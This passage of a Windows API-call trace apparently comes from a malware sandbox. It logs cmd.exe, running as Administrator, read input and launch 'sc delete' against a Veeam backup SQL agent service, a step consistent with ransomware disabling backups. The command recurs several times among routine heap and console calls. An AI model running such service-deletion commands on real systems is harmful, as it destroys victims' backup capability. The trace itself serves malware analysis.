cchWideChar=1 | out: lpWideCharStr="0\n") returned 1 [0065.257] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.257] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.257] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0065.257] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.257] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.257] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0065.257] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.257] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.257] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e360, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0065.257] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.257] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.257] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e362, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0065.257] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.258] GetFileType (hFile=0xb8) returned 0x3 [0065.258] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.258] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.258] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.258] GetFileType (hFile=0x120) returned 0x3 [0065.258] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n", lpUsedDefaultChar=0x0) returned 35 [0065.258] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x22, lpOverlapped=0x0) returned 1 [0065.258] GetProcessHeap () returned 0x1b0000 [0065.258] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.258] GetProcessHeap () returned 0x1b0000 [0065.258] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.258] GetProcessHeap () returned 0x1b0000 [0065.258] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.258] GetProcessHeap () returned 0x1b0000 [0065.258] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.258] GetProcessHeap () returned 0x1b0000 [0065.258] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x50) returned 0x1c97e0 [0065.258] GetConsoleOutputCP () returned 0x1b5 [0065.259] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.259] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.259] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.259] GetProcessHeap () returned 0x1b0000 [0065.259] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.259] GetProcessHeap () returned 0x1b0000 [0065.259] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x56) returned 0x1c9840 [0065.259] GetProcessHeap () returned 0x1b0000 [0065.259] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0065.259] SetErrorMode (uMode=0x0) returned 0x1 [0065.259] SetErrorMode (uMode=0x1) returned 0x0 [0065.259] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.259] SetErrorMode (uMode=0x1) returned 0x1 [0065.259] GetProcessHeap () returned 0x1b0000 [0065.259] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0065.259] GetProcessHeap () returned 0x1b0000 [0065.260] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0065.260] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.260] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.260] GetProcessHeap () returned 0x1b0000 [0065.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.260] GetProcessHeap () returned 0x1b0000 [0065.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.260] GetProcessHeap () returned 0x1b0000 [0065.260] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.260] GetProcessHeap () returned 0x1b0000 [0065.260] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.260] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.260] GetProcessHeap () returned 0x1b0000 [0065.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.260] GetProcessHeap () returned 0x1b0000 [0065.260] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.260] GetProcessHeap () returned 0x1b0000 [0065.260] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.260] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.260] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.260] GetLastError () returned 0x2 [0065.261] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.261] GetLastError () returned 0x2 [0065.261] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.261] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.261] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.261] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.261] GetLastError () returned 0x2 [0065.261] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.261] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.261] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.261] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.261] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.262] GetProcessHeap () returned 0x1b0000 [0065.262] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.262] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.262] GetProcessHeap () returned 0x1b0000 [0065.262] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xbc) returned 0x1c9180 [0065.262] GetProcessHeap () returned 0x1b0000 [0065.262] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xbc [0065.262] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$VEEAMSQL2012\"") returned 1 [0065.262] GetProcessHeap () returned 0x1b0000 [0065.262] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.262] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.262] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.262] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.262] GetProcessHeap () returned 0x1b0000 [0065.262] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.263] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.264] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.264] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.264] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.264] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.264] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.264] GetProcessHeap () returned 0x1b0000 [0065.264] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.264] GetProcessHeap () returned 0x1b0000 [0065.264] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.264] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$VEEAMSQL2012\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$VEEAMSQL2012\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"SQLAgent$VEEAMSQL2012\"", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x568, dwThreadId=0x6fc)) returned 1 [0065.267] CloseHandle (hObject=0x54) returned 1 [0065.267] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.267] GetProcessHeap () returned 0x1b0000 [0065.267] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0065.267] GetEnvironmentStringsW () returned 0x1d1b10* [0065.267] GetProcessHeap () returned 0x1b0000 [0065.267] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.267] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.267] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.267] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.267] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0065.529] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.529] CloseHandle (hObject=0x50) returned 1 [0065.530] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.530] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.530] GetProcessHeap () returned 0x1b0000 [0065.530] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.530] GetEnvironmentStringsW () returned 0x1d1b10* [0065.530] GetProcessHeap () returned 0x1b0000 [0065.530] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.530] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.530] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.530] GetProcessHeap () returned 0x1b0000 [0065.530] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.530] GetEnvironmentStringsW () returned 0x1d1b10* [0065.530] GetProcessHeap () returned 0x1b0000 [0065.530] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.530] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.530] GetProcessHeap () returned 0x1b0000 [0065.530] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.530] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.530] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.531] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.531] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.531] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.531] GetConsoleOutputCP () returned 0x1b5 [0065.532] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.532] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9840 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.532] GetProcessHeap () returned 0x1b0000 [0065.532] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.533] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.533] GetFileType (hFile=0x120) returned 0x3 [0065.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.533] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.533] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.533] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.533] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.533] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.533] GetFileType (hFile=0x120) returned 0x3 [0065.533] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.533] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.533] GetFileType (hFile=0xb8) returned 0x3 [0065.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$VEEAMSQL2012\"\n") returned 1 [0065.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, 